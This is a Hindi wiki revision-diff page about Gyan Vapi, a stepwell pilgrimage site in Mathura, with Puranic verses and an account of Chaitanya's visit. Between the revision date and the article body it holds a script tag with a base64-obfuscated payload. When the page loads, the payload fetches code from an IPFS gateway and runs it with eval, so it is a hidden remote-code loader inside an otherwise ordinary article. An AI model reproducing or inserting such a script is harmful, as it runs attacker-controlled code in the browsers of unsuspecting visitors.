"ज्ञान वापी" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
पंक्ति ३: | पंक्ति ३: | ||
*[[मथुरा]] की पंचकोसी परिक्रमा मार्ग में [[भूतेश्वर महादेव]] और [[कटरा केशवदेव]] ([[कृष्ण जन्मस्थान|श्रीकृष्ण जन्मस्थान]]) के मध्य में भूगर्भ में छिपा हुआ एक महत्वपूर्ण पौराणिक तीर्थ है– ज्ञान वापी या ज्ञानबाउड़ी । | *[[मथुरा]] की पंचकोसी परिक्रमा मार्ग में [[भूतेश्वर महादेव]] और [[कटरा केशवदेव]] ([[कृष्ण जन्मस्थान|श्रीकृष्ण जन्मस्थान]]) के मध्य में भूगर्भ में छिपा हुआ एक महत्वपूर्ण पौराणिक तीर्थ है– ज्ञान वापी या ज्ञानबाउड़ी । | ||
*इस तीर्थ के सम्बन्ध में [[वराह पुराण]] में ऐसा उल्लेख है– | *इस तीर्थ के सम्बन्ध में [[वराह पुराण]] में ऐसा उल्लेख है– | ||
− | <poem> | + | <<blockquote>poem> |
यो वाप्यां धर्मराजस्य, मथुरायास्तु पश्चिमै । | यो वाप्यां धर्मराजस्य, मथुरायास्तु पश्चिमै । | ||
स्थानं करोति तस्यां तु, ग्रहदोर्षनं लिप्यते ।।<balloon title="वराह पुराण अन्तर्गत मथुरा महात्म्य अ.–269–42" style=color:blue>*</balloon> - [[वराह पुराण]] | स्थानं करोति तस्यां तु, ग्रहदोर्षनं लिप्यते ।।<balloon title="वराह पुराण अन्तर्गत मथुरा महात्म्य अ.–269–42" style=color:blue>*</balloon> - [[वराह पुराण]] | ||
− | </poem> | + | </poem></blockquote> |
अर्थात जो लोग मथुरा के पश्चिम में स्थित धर्मराज की ईशवापी बावड़ी में स्नान करते हैं, उनके सारे ग्रह–दोष दूर हो जाते हैं एवं भगवत भक्ति होती है।<ref>सतयुग कौ इक तीरथ कहौ, वापी ज्ञानभक्तिकों लहों । <br /> | अर्थात जो लोग मथुरा के पश्चिम में स्थित धर्मराज की ईशवापी बावड़ी में स्नान करते हैं, उनके सारे ग्रह–दोष दूर हो जाते हैं एवं भगवत भक्ति होती है।<ref>सतयुग कौ इक तीरथ कहौ, वापी ज्ञानभक्तिकों लहों । <br /> | ||
यामं जों स्नान करैजू, धोई पाप बहु पुन्य भरैजू ।। (कविवर हरिलाल ककोर की मथुरा परिक्रमा , पृष्ठ–9 विक्रमी 2800)</ref> | यामं जों स्नान करैजू, धोई पाप बहु पुन्य भरैजू ।। (कविवर हरिलाल ककोर की मथुरा परिक्रमा , पृष्ठ–9 विक्रमी 2800)</ref> | ||
पंक्ति १२: | पंक्ति १२: | ||
*सारे विश्व में शुद्ध भक्ति एवं कृष्ण नाम संकीर्तन का प्रचार करने वाले श्रीकृष्णाभिन्न शचीनन्दन गौरहरि के श्रीधाम मथुरा [[ब्रज]] में पधारने का भी वर्णन श्रीचैतन्य चरितामृत में विशेष रूप से किया गया है। | *सारे विश्व में शुद्ध भक्ति एवं कृष्ण नाम संकीर्तन का प्रचार करने वाले श्रीकृष्णाभिन्न शचीनन्दन गौरहरि के श्रीधाम मथुरा [[ब्रज]] में पधारने का भी वर्णन श्रीचैतन्य चरितामृत में विशेष रूप से किया गया है। | ||
*वे मथुरा के [[विश्राम घाट]], [[यमुना]] में स्नान कर [[कटरा केशवदेव|श्रीकेशवदेव के मन्दिर]] में पधारे थे। उस समय भावावेश में उनको नृत्य और कीर्तन देखकर उनके दर्शनों के लिए हजारों लोगों की भीड़ उपस्थित हुई। उन्होंने ज्ञान बाबड़ी में स्नान और आचमन किया था। तत्पश्चात बाबड़ी के निकटस्थ सानौढ़िया ब्राह्मण वैष्णव के घर पर ठहरने और वही प्रसाद पाने का उल्लेख भी चैतन्य चरितामृत में आता है। | *वे मथुरा के [[विश्राम घाट]], [[यमुना]] में स्नान कर [[कटरा केशवदेव|श्रीकेशवदेव के मन्दिर]] में पधारे थे। उस समय भावावेश में उनको नृत्य और कीर्तन देखकर उनके दर्शनों के लिए हजारों लोगों की भीड़ उपस्थित हुई। उन्होंने ज्ञान बाबड़ी में स्नान और आचमन किया था। तत्पश्चात बाबड़ी के निकटस्थ सानौढ़िया ब्राह्मण वैष्णव के घर पर ठहरने और वही प्रसाद पाने का उल्लेख भी चैतन्य चरितामृत में आता है। | ||
− | *पौराणिक (ग्रन्थों) पुस्तकों में इस स्थान से राजा भर्तृहरि का सम्बन्ध होना भी पाया जाता है। यहीं राजा भर्तृहरि की समाधि भी स्थित थी, जो कुटिल काल की गति से कुछ परिवर्तित रूप में विद्यमान है। | + | *पौराणिक (ग्रन्थों) पुस्तकों में इस स्थान से राजा भर्तृहरि का सम्बन्ध होना भी पाया जाता है। यहीं राजा भर्तृहरि की समाधि भी स्थित थी, जो कुटिल काल की गति से कुछ परिवर्तित रूप में विद्यमान है। |
+ | |||
==टीका-टिप्पणी== | ==टीका-टिप्पणी== | ||
<references/> | <references/> |
०७:४८, १८ मार्च २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ज्ञान वापी / Gyan Vapi
- मथुरा की पंचकोसी परिक्रमा मार्ग में भूतेश्वर महादेव और कटरा केशवदेव (श्रीकृष्ण जन्मस्थान) के मध्य में भूगर्भ में छिपा हुआ एक महत्वपूर्ण पौराणिक तीर्थ है– ज्ञान वापी या ज्ञानबाउड़ी ।
- इस तीर्थ के सम्बन्ध में वराह पुराण में ऐसा उल्लेख है–
<
poem>
यो वाप्यां धर्मराजस्य, मथुरायास्तु पश्चिमै । स्थानं करोति तस्यां तु, ग्रहदोर्षनं लिप्यते ।।<balloon title="वराह पुराण अन्तर्गत मथुरा महात्म्य अ.–269–42" style=color:blue>*</balloon> - वराह पुराण
</poem>
अर्थात जो लोग मथुरा के पश्चिम में स्थित धर्मराज की ईशवापी बावड़ी में स्नान करते हैं, उनके सारे ग्रह–दोष दूर हो जाते हैं एवं भगवत भक्ति होती है।[१]
- वायु पुराण के अनुसार धर्मराज युधिष्ठर ने इस बावड़ी का निर्माण कराया था । भगवान श्रीकृष्ण और महाराज युधिष्ठिर का मन्त्रणा–स्थल होने के कारण भी यह स्थान महत्वपूर्ण है।
- सारे विश्व में शुद्ध भक्ति एवं कृष्ण नाम संकीर्तन का प्रचार करने वाले श्रीकृष्णाभिन्न शचीनन्दन गौरहरि के श्रीधाम मथुरा ब्रज में पधारने का भी वर्णन श्रीचैतन्य चरितामृत में विशेष रूप से किया गया है।
- वे मथुरा के विश्राम घाट, यमुना में स्नान कर श्रीकेशवदेव के मन्दिर में पधारे थे। उस समय भावावेश में उनको नृत्य और कीर्तन देखकर उनके दर्शनों के लिए हजारों लोगों की भीड़ उपस्थित हुई। उन्होंने ज्ञान बाबड़ी में स्नान और आचमन किया था। तत्पश्चात बाबड़ी के निकटस्थ सानौढ़िया ब्राह्मण वैष्णव के घर पर ठहरने और वही प्रसाद पाने का उल्लेख भी चैतन्य चरितामृत में आता है।
- पौराणिक (ग्रन्थों) पुस्तकों में इस स्थान से राजा भर्तृहरि का सम्बन्ध होना भी पाया जाता है। यहीं राजा भर्तृहरि की समाधि भी स्थित थी, जो कुटिल काल की गति से कुछ परिवर्तित रूप में विद्यमान है।
टीका-टिप्पणी
- ↑ सतयुग कौ इक तीरथ कहौ, वापी ज्ञानभक्तिकों लहों ।
यामं जों स्नान करैजू, धोई पाप बहु पुन्य भरैजू ।। (कविवर हरिलाल ककोर की मथुरा परिक्रमा , पृष्ठ–9 विक्रमी 2800)